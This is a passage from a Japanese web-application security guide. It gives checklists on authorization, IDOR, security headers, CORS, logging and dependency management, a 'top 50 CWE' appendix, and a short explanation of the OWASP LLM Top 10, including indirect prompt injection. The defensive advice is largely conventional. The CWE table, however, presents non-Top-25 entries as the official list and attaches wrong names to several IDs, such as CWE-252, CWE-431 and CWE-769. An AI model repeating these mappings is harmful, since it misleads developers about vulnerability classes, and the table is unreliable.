  • [ ] パスワードリセットはトークン方式(有効期限付き)

    • セキュリティ質問(「最初のペットの名前は?」)は使用禁止
    • トークン:ランダム、有効期限15~30分
    • リセット前に現在のメールアドレス確認
    • 1回限りの使用(再利用禁止)
  • [ ] 全エンドポイントで認可チェック実装

    • フロントエンドのUI制御だけでは不十分
    • サーバー側で各リクエストの権限を確認
    • ロールはデータベースから取得(JWTペイロードは信頼しない)
  • [ ] APIはオブジェクト単位・機能単位でも認可チェック

    • OWASP API Security Top 10のBOLA(Broken Object Level Authorization: オブジェクト単位の認可不備) / BFLA(Broken Function Level Authorization: 機能単位の認可不備)を意識する
    • /users/123 の所有権確認だけでなく、返却フィールドや操作種別も検証
    • GraphQLではfield / mutation単位で認可確認
  • [ ] IDOR対策(リソースのオーナーシップ確認)

    • /api/orders/123 へのアクセス時、ユーザーがこのオーダーの所有者か確認
    • SQLクエリに所有権条件を含める:WHERE id = ? AND user_id = ?
    • 404と403を区別しないことで、リソース存在の推測を防止

通信セキュリティ

ヒント

ここはブラウザとサーバーの通信経路を守る項目です。盗み見、改ざん、危険な別サイト連携を減らします。

  • [ ] HTTPS/TLS 1.3を使用
    • HTTPは完全に廃止
    • TLS 1.0, 1.1は脆弱性が多いため使用禁止
    • TLS 1.3を優先し、少なくともTLS 1.2以上を維持
    • 自己署名証明書は本番環境で使用禁止

HTTPセキュリティヘッダー完全ガイド

主要なセキュリティヘッダーの実装方法:

Strict-Transport-Security (HSTS)

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • max-age は秒単位(31536000 = 1年)
  • preload で HSTS Preload List への登録を宣言
  • ブラウザが強制的に HTTPS に昇格、SSL Stripping 攻撃を防止

Content-Security-Policy (CSP)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; img-src https:; style-src 'unsafe-inline'
  • script-src ‘unsafe-inline’ は XSS に弱いため、nonce-* または sha256-* を活用
  • frame-ancestors ‘none’ でクリックジャッキング対策
  • upgrade-insecure-requests で HTTP を HTTPS に自動昇格

X-Content-Type-Options

X-Content-Type-Options: nosniff
  • ブラウザの MIME 型 sniffing を防止
  • Content-Type ヘッダー値を強制

X-Frame-Options

X-Frame-Options: DENY
  • このサイトを iframe に埋め込み禁止
  • clickjacking 対策として通常必須

Referrer-Policy

Referrer-Policy: strict-origin-when-cross-origin
  • Referer ヘッダーの送信制限

  • クロスオリジン時は origin のみ送信

  • プライバシー保護(クエリ文字列漏洩防止)

  • [ ] ホストヘッダーのホワイトリスト検証

    • Hostヘッダーはクライアントが自由に設定可能
    • パスワードリセットメールのリンク生成時に安全でないHostを使うと、攻撃者のサイトにリダイレクト
    • 設定ファイルで許可されたホスト名を定義
  • [ ] CORSを明示的に設定(Access-Control-Allow-Origin)

    • Access-Control-Allow-Origin: * は避ける(全オリジン許可)
    • 信頼できるドメインのみホワイトリスト
    • Access-Control-Allow-Credentials: true は慎重に(認証情報送信時のみ)
    • プリフライト要求(OPTIONS)での認可チェック漏れに注意
  • [ ] SameSiteクッキー設定(CSRF対策)

    • SameSite=Strict:クロスサイトリクエストでクッキー送信しない(最も厳密)
    • SameSite=Lax:トップレベルナビゲーション(リンククリック)では送信(バランス型)
    • SameSite=None:常に送信(Secure フラグ必須、API向け)
    • RFC 6265bis で標準化、主要ブラウザが対応
  • [ ] HSTSヘッダー設定

    • Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    • ブラウザに「常にHTTPSで接続せよ」と指示
    • HTTPダウングレード攻撃を防止

データ保護

ヒント

ここは保存中や表示中の大事な情報を漏らさないための項目です。万一の侵害時でも被害を小さくします。

  • [ ] 機密情報(パスワード、APIキー)のログ記録禁止

    • ログに保存されたら、ログファイルから漏洩する可能性
    • ログ出力前に機密情報をマスク
    • ユーザーID、メールアドレスくらいは記録してもOK
  • [ ] 暗号化通信(HTTPS)を強制

    • HTTPからの自動リダイレクト
    • すべてのエンドポイントをHTTPS化
    • 非本番環境でもHTTPSを推奨
  • [ ] キャッシュに機密情報が保存されないようコントロール

    • Cache-Control: no-store, max-age=0 でキャッシュを無効化
    • ブラウザキャッシュにクレジットカード番号が保存されるのを防止
    • 個人情報ページにはこのヘッダーを設定
  • [ ] データベース接続ユーザーの最小権限化

    • アプリからDBへの接続ユーザーにSELECTのみ許可
    • 削除・更新が必要な場合、別の限定的なストアドプロシージャを使用
    • 万が一SQLインジェクション が発生しても被害を最小化

エラー・ログ管理

ヒント

ここは「攻撃者に余計な情報を渡さない」ことと、「何が起きたか後で追える」ことの両方を守る項目です。

  • [ ] エラーメッセージで技術情報を公開しない

    • ユーザー向けメッセージ:「ログインに失敗しました。メールアドレスとパスワードを確認してください。」など一般的メッセージ
    • サーバーログのみ:SQLエラー、スタックトレース、query_time、db_connection_details など詳細情報
    • **エラーID(UUID)**を返し、ログで追跡可能に
    • 攻撃者の情報収集を防止
  • [ ] 監査ログ(誰が何をしたか)を記録

    • 必須項目:timestamp (ISO 8601)、user_id/user_name、action、resource_id、result (success/failure)
    • 付加情報:ip_address、user_agent、change_diff(データ変更内容)
    • 重要イベント:ログイン・ログアウト、データ変更、権限昇格、APIアクセス
    • 誰が何をしたか後で追跡可能に
  • [ ] ログを改ざん防止の仕組みで保護

    • Append-only ストレージ:AWS CloudTrail、Azure Activity Log など
    • ログ集約システム転送:別サーバーの ELK (Elasticsearch-Logstash-Kibana)、Splunk など
    • ログファイル削除を技術的に禁止:ファイルシステム権限、Write-once-read-many (WORM) ストレージ
    • 不要なアクセスログ削除を防止
  • [ ] 定期的なログ分析・異常検知

    • SIEM(Splunk、ELK)でリアルタイム分析
    • 異常パターン検知(ログイン失敗多発、データアクセス異常など)
    • アラート通知設定

依存関係管理

ヒント

ここは自分のコード以外の部品を安全に使うための項目です。古いライブラリや危険な更新経路を放置しないことが目的です。

  • [ ] npm audit を定期実行

    • CI/CDパイプラインに組み込み:コミット時、毎日スケジュール実行
    • 脆弱性検出時に即座に通知(Slack、GitHub Issues など)
    • 自動修正試行npm audit fix、ただし互換性確認テスト必須
    • CRITICAL レベル:即座に修正・デプロイ、HIGH レベル:1週間以内
  • [ ] 脆弱性が発見された依存関係を速やかに更新

    • CRITICAL レベル:即座に修正・デプロイ(24時間以内)
    • HIGH レベル:1週間以内
    • MEDIUM/LOW:定期メンテナンスウィンドウに実施
    • 更新前に、フル自動テスト、統合テスト、ステージング環境での動作確認
    • 破壊的変更(breaking change)に対応するコード修正計画も準備
  • [ ] ライセンス確認(GPLなど制限的ライセンス除外)

    • GPLライセンスはコピーレフト(ソースコード公開義務)
    • 商用アプリケーションに非互換
    • MIT、Apache 2.0、BSDは自由度が高い

補足: OWASP API Security Top 10 との接続

ヒント

Web アプリケーションと API ではリスク構図が異なります。JSON レスポンス、token 認証、CORS など API 固有の脆弱性に注意が必要です。

OWASP API Security 2023 の主要リスク

項目 説明 対策
API1:2023 Broken Object Level Authorization (BOLA) /api/orders/123 へのアクセス時、ユーザーがこのオーダーの所有者か確認していない サーバー側で所有権確認:WHERE id = ? AND user_id = ?
API2:2023 Broken Authentication API 認証トークン検証が不十分、またはなし JWT 署名検証、有効期限確認、refresh token 管理
API3:2023 Broken Object Property Level Authorization GraphQL のフィールドレベルや REST のレスポンスプロパティで認可チェック漏れ フィールド / mutation 単位で認可確認
API4:2023 Unrestricted Resource Consumption Rate limiting 未実装、リソース無制限消費 API ゲートウェイで request/minute 制限、token per user 制限
API5:2023 Broken Function Level Authorization 管理者のみ可能な操作(/admin/users/delete)にアクセス権限チェックがない endpoint / function 単位の認可、role ベース access control
API7:2023 Server Side Request Forgery (SSRF) API が攻撃者指定 URL へアクセス可能、内部ネットワーク露出 URL whitelist、内部 IP ブロック、プロトコル制限(http/https のみ)

Web アプリケーションとの主な違い

  • API はレスポンス形式が JSON → エラーメッセージ / スタックトレース がそのまま攻撃情報に
  • Session ではなく token (JWT) ベース認証 → exp / aud claim の検証が重要
  • CORS プリフライト要求(OPTIONS)を悪用した情報漏洩
  • GraphQL / SOAP / REST など複数プロトコル混在時の認可一貫性確保が複雑

デプロイ・運用

ヒント

ここはリリース後に安全な状態を保ち続けるための項目です。実装が正しくても、運用が甘いと破られます。

  • [ ] デバッグモードは本番環境で無効

    • DEBUG=trueでスタックトレースが公開される
    • 開発環境のみで有効化
    • 本番環境では環境変数で制御
  • [ ] デフォルト認証情報を変更

    • ルーター:admin/admin
    • データベース:root/root
    • SSH:ec2-userなど
    • 初期デプロイ時に必ず強力なパスワードに変更
  • [ ] 定期的なセキュリティスキャン

    • 脆弱性スキャン(DAST):週1回以上、Qualys、Nessus など
    • 依存関係スキャン:毎日、npm audit、Snyk、Trivy など
    • SAST(静的コード解析):コミット時に自動実行、SonarQube、Semgrep など
    • Container スキャン:Trivy で Docker イメージのセキュリティチェック
    • 検出結果を SIEM(Splunk、ELK)に集約、異常検知設定
  • [ ] ペネトレーションテストの実施(年1回以上)

    • 第三者のセキュリティ専門家による侵入テスト
    • 実際の攻撃シナリオをシミュレーション
    • 脆弱性レポートを受け取り、修正優先順位を決定
  • [ ] セキュリティパッチの迅速な適用

    • OS、ウェブサーバー、フレームワークのセキュリティアップデート
    • CRITICALパッチ:24時間以内の適用
    • 定期メンテナンスウィンドウを設定

付録A: 重要CWE 50選

ヒント

ここは「どんな実装ミスが危険か」を一覧で見直すための付録です。攻撃名ではなく、弱点の型で整理した索引だと考えると読みやすくなります。

概要

ヒント

まずは「CWE Top 25が公式の中核で、本書では学習用に50件へ広げている」とつかめば十分です。

CWE(Common Weakness Enumeration)について、MITREが公式に毎年公開しているのは Top 25 です。 この付録では、その公式Top 25を土台にしつつ、Webアプリ実装者が実務で遭遇しやすい項目を追加して 学習用に50件へ拡張 しています。

そのため、前半ほどMITREの公式ランキングとの整合が強く、後半は実装・学習上の重要性を重視した補足項目です。

重要CWE 50選 リスト

ヒント

前半は公式の重要項目、後半はWeb実務で補っておきたい項目です。

以下の 1〜25 は、MITREが公開する CWE Top 25 を土台にした中核項目です。 26〜50 は、本書がWebアプリ実装・運用の観点から補足した追加項目です。

公式Top 25ベース

ヒント

ここはMITREが特に重要だと見ている代表例です。まずは上位10件から読むのがおすすめです。

順位 CWE ID 名称 説明 対策 悪用頻度
1 CWE-79 Cross-site Scripting / クロスサイトスクリプティング (XSS) ウェブページ生成時の不適切な入力処理により、ユーザーのブラウザで悪意あるスクリプトが実行される HTMLエンコーディングCSP、入力検証、DOMPurify ライブラリ 極高
2 CWE-89 SQL Injection / SQLインジェクション SQLコマンドに直接ユーザー入力を埋め込み、不正なSQLクエリが実行される パラメータ化クエリ、入力検証、最小権限のDBユーザー 極高
3 CWE-352 Cross-Site Request Forgery / クロスサイトリクエストフォージェリ (CSRF) ユーザーが気づかないうちに、別サイトから不正リクエストが送信される CSRFトークンSameSite クッキー、Refererチェック
4 CWE-862 Missing Authorization / 認可漏れ リソースアクセス時に権限確認が不十分、または全く行われない サーバー側で全エンドポイントに認可チェック、所有権確認
5 CWE-787 Out-of-bounds Write / 境界外書き込み バッファに割り当てられたメモリ境界を超えてデータが書き込まれ、システムクラッシュやコード実行につながる 言語の境界値チェック、Address Sanitizer、型安全言語
6 CWE-799 Improper Control of Interaction Frequency / 相互作用頻度の不適切な制御 ユーザーのアクション(ログイン試行、API呼び出し)に対するレート制限が不適切 レート制限 実装、IP単位の制限、指数バックオフ
7 CWE-434 Unrestricted Upload of File with Dangerous Type / 危険なファイル型の無制限アップロード ファイルアップロード時に拡張子・形式の検証が不十分 拡張子・MIMEタイプ・マジックバイト検証、ウイルススキャン
8 CWE-190 Integer Overflow or Wraparound / 整数オーバーフロー 整数値が最大値を超えた場合の処理が不適切 境界値チェック、言語のオーバーフロー検出、SafeIntライブラリ
9 CWE-125 Out-of-bounds Read / 境界外読み込み バッファの境界を超えてデータが読み込まれ、機密情報漏洩につながる 境界チェック、AddressSanitizer、メモリ安全言語
10 CWE-20 Improper Input Validation / 不適切な入力検証 ユーザー入力の型・長さ・形式が十分に検証されない 型チェック、長さチェック、ホワイトリスト 検証、正規表現 極高
11 CWE-200 Exposure of Sensitive Information / 機密情報の露出 パスワード、APIキー、個人情報などが意図せず公開される ログ出力時のマスキング、エラーメッセージ隠蔽、アクセス制御
12 CWE-918 Server-Side Request Forgery / サーバーサイドリクエストフォージェリ (SSRF) Webアプリケーションが攻撃者の指定URLにアクセスさせられ、内部ネットワークが暴露される URL ホワイトリスト、内部IPブロック、プロトコル制限
13 CWE-611 Improper Restriction of XML External Entity Reference / XXE攻撃 XMLパーサーが外部エンティティを処理し、ローカルファイル読み込みやXXE攻撃が可能 外部エンティティ無効化、DTD 禁止、スキーマ検証
14 CWE-345 Insufficient Verification of Data Authenticity / データ真正性検証不足 受信データの真正性(デジタル署名、メッセージ認証)が十分に検証されない デジタル署名 検証、HMAC、メッセージ認証コード
15 CWE-863 Incorrect Authorization / 不正な認可 リソースアクセスの権限確認が実装されているが、ロジックが誤っている 権限確認ロジックの徹底テスト、アクセス制御マトリックス検証
16 CWE-522 Insufficiently Protected Credentials / 認証情報の不十分な保護 パスワード、APIキー、トークンがソースコードや平文で保存される 環境変数・Secret Managerbcrypt/argon2 ハッシング
17 CWE-502 Deserialization of Untrusted Data / 信頼できないデータの逆シリアライゼーション 信頼できないデータをデシリアライズする際、悪意あるオブジェクトがインスタンス化され、コード実行につながる JSON使用、署名検証、ホワイトリスト、型チェック
18 CWE-287 Improper Authentication / 不適切な認証 ログイン機能が不十分、セッション管理に欠陥がある MFA、強力なパスワード要件、セッションIDランダム化
19 CWE-476 NULL Pointer Dereference / NULLポインタ参照 NULLポインタを参照しようとしてアプリケーションがクラッシュ NULLチェック、Optional型使用、静的解析ツール
20 CWE-252 Uncaught Exception / キャッチされない例外 発生した例外が処理されず、エラー情報が公開される可能性 全例外をtry-catchで処理、ジェネリック例外メッセージ
21 CWE-22 Path Traversal / パストトラバーサル ファイルパスに ../ を使用してサーバーの想定外のディレクトリにアクセス可能 パス正規化、ホワイトリスト 検証、chroot / コンテナ隔離
22 CWE-327 Use of Broken Cryptographic Algorithm / 破られた暗号化アルゴリズムの使用 MD5、SHA-1、DESなどの弱い暗号化アルゴリズムを使用 SHA-256/3、AES-256bcrypt/argon2TLS 1.3
23 CWE-388 Error Handling with Sensitive Information / 機密情報を含むエラー処理 エラーメッセージにパスワード、APIキー、DB接続情報が含まれる クライアント向けメッセージ一般化、詳細情報をサーバーログのみ
24 CWE-444 HTTP Request Smuggling / HTTPリクエストスマグリング 複数のサーバー(ロードバランサー・プロキシ・Webサーバー)がHTTPリクエストを異なる方法で解析 HTTP/2HTTP/3 への移行、Transfer-EncodingとContent-Length検証
25 CWE-400 Resource Exhaustion / リソース枯渇 メモリ、ディスク、CPUなどのシステムリソースが無限に消費され、DoS状態になる リソース制限、タイムアウト設定、接続数制限

本書の追加25項目

ヒント

ここは公式順位ではなく、Web開発や運用で実際によく困る論点を補う一覧です。

以下は、Webセキュリティ実務で遭遇しやすい論点を補うために、本書が追加した項目です。 公式順位ではなく、学習上の優先度を意識した補足リストとして読んでください。

順位 CWE ID 名称 説明 対策 悪用頻度
26 CWE-798 Hard-Coded Credentials / ハードコードされた認証情報 パスワード、APIキー、接続文字列がソースコードに埋め込まれている 環境変数、Secret Manager、.gitignoreで除外
27 CWE-295 Improper Certificate Validation / 証明書検証不足 HTTPS通信時に SSL/TLS 証明書の検証が不十分 証明書チェーン検証、ホスト名検証、証明書ピニング
28 CWE-640 Weak Password Recovery / 弱いパスワード回復機構 パスワードリセット機能が脆弱(セキュリティ質問、予測可能なトークン) ランダムトークン、有効期限設定、メール確認、現在のパスワード確認
29 CWE-639 Authorization Bypass / 認可バイパス ユーザーが権限確認用のパラメータ(role、user_id)を改ざん可能 DBからロール取得、JWT 署名検証、リソース所有権確認
30 CWE-601 Open Redirect / オープンリダイレクト リダイレクト先が検証されず、攻撃者のサイトにユーザーが誘導される ホワイトリスト 検証、相対URLのみ許可、フラグメントIDチェック
31 CWE-94 Code Injection / コードインジェクション 動的にコード生成・実行される際、ユーザー入力が直接含まれる eval() 回避、ホワイトリスト 検証、テンプレートエンジン使用
32 CWE-426 Untrusted Search Path / 信頼できないサーチパス アプリケーションが不安全なパスからライブラリ・スクリプトを読み込む 絶対パス指定、PATH環境変数制限、ディレクトリ権限確認
33 CWE-306 Missing Authentication for Critical Function / 重要機能の認証漏れ 重要な機能(管理画面へのアクセス、データ削除)に認証が不要 全エンドポイントで認証要求、ロール確認、セッション検証
34 CWE-362 Race Condition / レース条件 複数プロセスが同時に同一リソースにアクセス、意図しない状態になる トランザクション 管理、ロック 機構、楽観的ロック
35 CWE-649 Integrity Checking Not Applied / 整合性チェック未適用 入力の整合性・真正性を検証せず、単に難読化・暗号化のみ HMAC 署名、デジタル署名、メッセージ認証
36 CWE-330 Insufficient Random Values / 不十分なランダム値 暗号的に安全でない乱数生成器を使用(Math.random() など) SecureRandom、os.urandom()、crypto.randomBytes()
37 CWE-129 Array Index Validation / 配列インデックス検証 配列インデックスが負の値やサイズを超える値でないか検証されない 範囲チェック、境界値テスト、静的解析
38 CWE-431 Missing Header Guard / ヘッダーガード欠落 C/C++ のヘッダーガードが不十分で、多重インクルッド #ifndef/#define/#endifまたは #pragma once使用
39 CWE-95 Eval Injection / Evalインジェクション eval()、exec() などの関数がユーザー入力を直接受け取る eval() 完全回避、ホワイトリスト 検証、JSON.parse() 使用
40 CWE-189 Numeric Errors / 数値計算エラー 数値計算時にオーバーフロー、アンダーフロー、精度喪失が発生 型チェック、境界値検証、BigDecimal使用
41 CWE-248 Uncaught Exception / キャッチされない例外 例外がキャッチされずスタックトレースが公開される グローバル例外ハンドラ、ログ記録、ジェネリックエラーメッセージ
42 CWE-628 Incorrect Arguments / 不正な引数 関数呼び出しの引数が誤っている、またはタイプミス 型チェック、IDE補完、ユニットテスト、リント
43 CWE-482 Comparing vs Assigning / 比較演算子と代入演算子の混同 比較演算子 == と代入演算子 = の誤り リント設定、IDE警告、コード審査
44 CWE-665 Improper Initialization / 不適切な初期化 変数・オブジェクトが初期化されないまま使用される 変数初期化強制、IDE警告、UnusedVariableチェック
45 CWE-769 TOCTOU / Time-of-Check-Time-of-Use オブジェクト作成後、セキュアな状態になる前にアクセス可能になる TOCTOU 回避、アトミック操作、ロック 機構
46 CWE-831 Multiple Signal Handlers / 複数シグナルハンドラ シグナルハンドラが複数のシグナルに関連付けられ、予期しない動作 シグナル処理の最小化、async-signal-safe関数のみ
47 CWE-564 SQL Injection: ORM / ORMでのSQLインジェクション Hibernate ORMライブラリ使用時のSQLインジェクション HQLパラメータ化、ネイティブクエリ時のバインド変数
48 CWE-581 Object Model Violation / オブジェクトモデル違反 Javaでequals() メソッドのみ実装し、hashCode() を実装していない equals() とhashCode() の両方実装、IDE警告有効化
49 CWE-397 Generic Exception Declaration / 汎用例外宣言 メソッドが汎用例外(Exception)をスローすると宣言 具体的な例外型を指定、カスタム例外クラス
50 CWE-613 Session Expiration / セッション有効期限 セッションのタイムアウト設定がない、または長すぎる アイドルタイムアウト設定(15~30分)、絶対タイムアウト

CWE脆弱性を減らすための戦略

ヒント

弱点は「開発前に防ぐ」「テストで見つける」「運用で早く気づく」の3段階で減らします。

1. 開発段階(Prevention)

  • セキュアコーディング教育 — OWASP Top 10、CWE Top 25の定期トレーニング
  • コード審査 — ピアレビュー時に脆弱性パターンをチェック
  • SAST(Static Application Security Testing: 静的アプリケーションセキュリティテスト) — SonarQube、Semgrepなどで自動検出

2. テスト段階(Detection)

  • ユニットテスト — 入力検証、認可ロジックのテストケース
  • DAST(Dynamic Application Security Testing: 動的アプリケーションセキュリティテスト) — OWASP ZAP、Burp Suiteで脆弱性スキャン
  • ペネトレーションテスト — セキュリティ専門家による侵入テスト

3. デプロイ・運用(Remediation)

  • 依存関係スキャン — npm audit、Snykで既知脆弱性を特定
  • WAF(Web Application Firewall) — SQLインジェクション、XSSなどを検知・ブロック
  • 監視・アラート — SIEM(Security Information and Event Management)、EDR(Endpoint Detection and Response: エンドポイント監視と対応)で異常検知

CWE / CVE / CVSS / NVDの関係

ヒント

名前が似ていますが、CWE=弱点の種類CVE=個別の脆弱性CVSS=深刻度NVD=調べる場所 と覚えると整理しやすいです。

ここも略称が多いですが、「弱点の種類」「個別の脆弱性」「深刻度の点数」「それを探すデータベース」と考えると追いやすくなります。

CWE(弱点の種類)CVE(Common Vulnerabilities and Exposures: 個別の脆弱性)CVSS(Common Vulnerability Scoring System: 深刻度の表現)NVD(National Vulnerability Database: 脆弱性データベースと付加情報)

例:

  • CWE-89 — SQLインジェクションという「弱点の型」
  • CVE-2021-44228 — Log4jに存在した「個別の脆弱性」
  • CVSS 10.0 — その脆弱性の技術的深刻度の表現
  • NVD — CVEに対してCVSSやCPEなどの補足情報を提供するデータベース

それぞれの役割:

  • CWE は「どういう設計・実装ミスか」を分類するためのもの
  • CVE は「どの製品のどの脆弱性か」を識別するためのID
  • CVSS は「その脆弱性がどの程度深刻か」を共通尺度で示すもの
  • NVD はNISTが運営する脆弱性情報基盤で、CVEを横断的に検索・分析するのに使う

注意点:

  • CVSSは「リスク」そのものではなく、主に技術的深刻度の指標
  • 実際の優先度は、公開状況、資産価値、インターネット露出、悪用有無も合わせて判断する
  • FIRSTの現行仕様は CVSS v4.0 だが、ツールや資料ではv3.1併記もまだ多い

補足: OWASP for LLM / GenAI

ヒント

ここは、生成AIやLLMを使うアプリで増える新しい攻撃面を、Webセキュリティの延長として捉えるための補足です。

Webアプリケーション向けのOWASP Top 10に加えて、生成AIやLLM(Large Language Model: 大規模言語モデル)アプリケーション向けには OWASP GenAI Security Project が公開されています。 2025年版では、従来の「OWASP Top 10 for LLM Applications」がOWASP GenAI Security Projectの中核資料として継続しており、LLM固有の攻撃面を整理しています。

OWASP LLM Top 10 2025の主な項目

ヒント

まずは Prompt InjectionSensitive Information DisclosureImproper Output Handling の3つを押さえると全体像がつかみやすいです。

項目 概要
LLM01 Prompt Injection 入力や外部文書に埋め込まれた指示で、モデルの振る舞いを不正に変える
LLM02 Sensitive Information Disclosure 会話履歴、個人情報、秘密情報、内部プロンプトなどが漏洩する
LLM03 Supply Chain モデル、データ、ライブラリ、ホスティング基盤の供給網リスク
LLM04 Data and Model Poisoning 学習データ、微調整データ、埋め込みデータの汚染
LLM05 Improper Output Handling モデル出力を未検証のままUIや下流システムへ渡す
LLM06 Excessive Agency LLMに過剰な権限やツール実行能力を与えてしまう
LLM07 System Prompt Leakage system promptや内部ルールが漏れる
LLM08 Vector and Embedding Weaknesses RAG(Retrieval-Augmented Generation: 検索拡張生成)やベクトル検索基盤の弱点
LLM09 Misinformation もっともらしい誤情報や不正確な出力
LLM10 Unbounded Consumption トークン、計算資源、外部API利用が無制限に膨らむ

ここでいう Prompt Injection は、ユーザー入力や外部文書の中に紛れた命令でモデルの挙動をねじ曲げることです。Improper Output Handling はモデル出力を未検証のまま他の画面や処理へ流すこと、Excessive Agency はLLMに強すぎる権限やツール実行能力を与えることを指します。

Webセキュリティとの接続ポイント

ヒント

LLM固有に見える問題でも、多くはInjection、認可、情報漏洩、整合性の延長線上にあります。

  • Prompt InjectionはLLM時代のInjection

    • 従来のSQLiやXSSと同じく、「入力が意図しない制御へ変わる」問題です。
    • 特にindirect prompt injectionは、Webページ、PDF、メール、RAG文書など外部コンテンツ経由で起きます。
  • Improper Output HandlingはXSS / Command Injectionに直結する

    • LLM出力をそのままHTML、SQL、シェル、コード生成、テンプレートへ流すと、従来型の脆弱性へ変換されます。
    • モデル出力も「信頼できない入力」として扱う必要があります。
  • Excessive AgencyはBroken Access Controlに近い

    • LLMがメール送信、購買、ファイル削除、DB更新などのツールを直接呼べる構成では、認可不備が重大化します。
    • 「モデルが判断したから実行する」は危険で、ツール呼び出し前に別レイヤで認可確認が必要です。
  • Vector / Embedding Weaknessesは新しいデータ境界問題

    • RAGでは、検索対象文書の真正性や機密性がそのまま回答品質と漏洩リスクに直結します。
    • 文書混入、検索汚染、メタデータ権限漏れなどは、従来のアクセス制御やデータ整合性問題の延長線上にあります。

Embedding は文書を検索しやすい数値表現へ変換したもの、Vector はその数値列です。RAG ではこのベクトル検索基盤が壊れると、間違った文書や見せてはいけない文書をモデルが参照しやすくなります。

実装者向けの基本対策

ヒント

合言葉は「モデル入力も出力も信頼しない」です。普通の入力検証の発想をそのまま広げます。

  • モデル入力、外部文書、ツール応答、モデル出力のすべてを 信頼しない
  • system promptだけに安全性を依存しない
  • モデル出力をUIやAPI応答へ出す前に、用途別に検証・サニタイズする
  • LLMが呼べるツールは最小権限にし、重要操作は人間承認や再認証を挟む
  • RAGでは文書の出所、権限、改ざん検知、インデックス更新経路を管理する
  • トークン使用量、API呼び出し回数、外部ツール実行回数に上限を設ける
  • 会話ログやプロンプトログに秘密情報を残しすぎない
  • AI機能も通常のWeb機能と同じく、監査ログ・アラート・レート制限の対象にする

この文書との読み分け

  • 本文の XSS、CSRF、認可、ログ、サプライチェーン、例外処理 は、LLMアプリでもそのまま重要です
  • そのうえで、OWASP GenAI / LLM Top 10は prompt、RAG、モデル出力、ツール連携 というAI固有の追加層を扱います
  • つまり、LLMアプリの防御は「Webセキュリティ + AI固有リスク」の二層で考えるのが実務的です

まとめ

Webセキュリティでは、入力検証、認証と認可、セッション管理、ブラウザ制御、依存関係管理、監視運用が相互につながっています。攻撃名を個別に覚えるよりも、「どの入力がどの権限でどこまで届くか」を追いながら読むと、実装とレビューの両方で使いやすい知識になります。

参考文献

公式・標準

解説・補助